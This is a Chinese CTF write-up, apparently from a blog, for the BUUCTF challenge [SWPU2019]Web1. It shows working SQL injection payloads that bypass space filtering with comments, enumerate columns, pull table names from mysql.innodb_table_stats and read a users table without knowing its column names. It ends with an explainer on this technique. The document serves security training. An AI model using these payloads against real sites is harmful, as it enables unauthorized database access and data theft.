当前位置: 首页 > news >正文

4.buuctf [SWPU2019]Web1及知识点

进入题目页面如下

猜测是二次注入

先注册一个账号

再登录,页面如下

点击申请发布广告

页面如上,存在注入点,尝试

判读是整数型注入还是字符型注入

猜解字段数,尝试发现or,#,空格等被过滤了,只能一个一个试

使用联合查询试试

-1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

居然有22个

测试后注入点在2处

爆出数据库名

1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

数据库名为web1

爆出表名

1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'

表名是abs和users

爆出字段内容

1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

终于得到了flag


无字段名注入

基本概念

在常规的 SQL 注入中,通常需要明确知道数据库表的字段名,然后通过构造恶意输入来干扰 SQL 语句的正常执行。而无字段名注入则是在不知道具体字段名的情况下,仍然能够实施注入攻击,获取数据库中的信息

产生原因

动态 SQL 语句构建:当开发人员在编写代码时,采用动态拼接 SQL 语句的方式,且对用户输入的验证和过滤不严格,就可能为无字段名注入提供机会。

通用查询接口:一些应用程序提供了通用的查询接口,允许用户输入条件进行数据查询,但没有对输入进行有效的限制,可以利用这个接口进行无字段名注入。

攻击原理

无字段名注入主要利用 SQL 语句的一些特性,如 ORDER BY 子句、GROUP BY 子句、LIMIT 子句等,结合盲注技术来逐步获取数据库信息。以下是几种常见的无字段名注入方法:

利用 ORDER BY 子句确定字段数量
SELECT * FROM users WHERE id = 1 ORDER BY 1 -- 正常返回
SELECT * FROM users WHERE id = 1 ORDER BY 2 -- 正常返回
SELECT * FROM users WHERE id = 1 ORDER BY 3 -- 报错

通过不断尝试不同的数字作为 ORDER BY 子句的参数,当返回报错时,说明表中的字段数量小于该数字,从而确定表中的字段数量。

利用 GROUP BY 子句和聚合函数获取数据

在确定了字段数量后,可以利用 GROUP BY 子句和聚合函数(如 COUNTSUM 等)来获取数据。例

SELECT COUNT(*), GROUP_CONCAT(column1, column2) FROM users GROUP BY id;

可以通过不断尝试不同的组合,结合盲注技术,逐步获取字段中的数据。

利用 LIMIT 子句逐行获取数据

在获取了表的字段数量后,可以使用 LIMIT 子句逐行获取数据。

SELECT * FROM users LIMIT 0, 1; -- 获取第一行数据
SELECT * FROM users LIMIT 1, 1; -- 获取第二行数据
http://www.dtcms.com/a/21583.html

相关文章:

  • matlab基于梯度下降和软阈值化的去噪算法
  • 民用无人驾驶航空器操控员考试
  • C#: String s = new String(“Hello“)无法编译?编程语言字符集有两个?为什么这种变量名“\u0061\u0062”都能编译通过?
  • netcore https配置
  • node.js + html调用ChatGPTApi实现Ai网站demo(带源码)
  • Ae 效果详解:蒙尘与划痕
  • 类和对象详解(下)-----运算符重载
  • [Vivado报错] [Runs 36-527] DCP does not exist
  • matlab模拟风场的随机脉动风
  • 升级 SpringBoot3 全项目讲解 — JOOQ 为什么全面超越了 Mybatis?
  • HarmonyOS NEXT网络状态监听HTTP和RCP请求网络
  • 【软考】【2025年系统分析师拿证之路】【啃书】第十一章 软件需求工程(十二)
  • 使用 Ansys MotorCAD 进行轴向磁通电机设计
  • wordpress get_footer();与wp_footer();的区别的关系
  • Node.js 中的 fs 模块详解
  • 一个n*m的二维非零tensor,如何将小于0.5的元素设置为零
  • 建筑行业安全技能竞赛流程方案
  • 【iOS】SwiftUI状态管理
  • Python elasticsearch客户端连接常见问题整理
  • 内容中台:解锁企业资源整合与敏捷响应新路径
  • 25/2/16 <算法笔记> DirectPose
  • 我们来学HTTP/TCP -- 另辟蹊径从响应入手
  • 基于状态观测器和物联网基础设施的智能电网高速孤岛检测
  • Ubuntu终端的常用快捷键
  • 【网络】协议与网络版计算器
  • git cherry-pick,需要git commit、git push么?
  • c语言-链表习题
  • 【C】链表算法题7 -- 环形链表||
  • matlab汽车动力学半车垂向振动模型
  • Mac 部署Ollama + OpenWebUI完全指南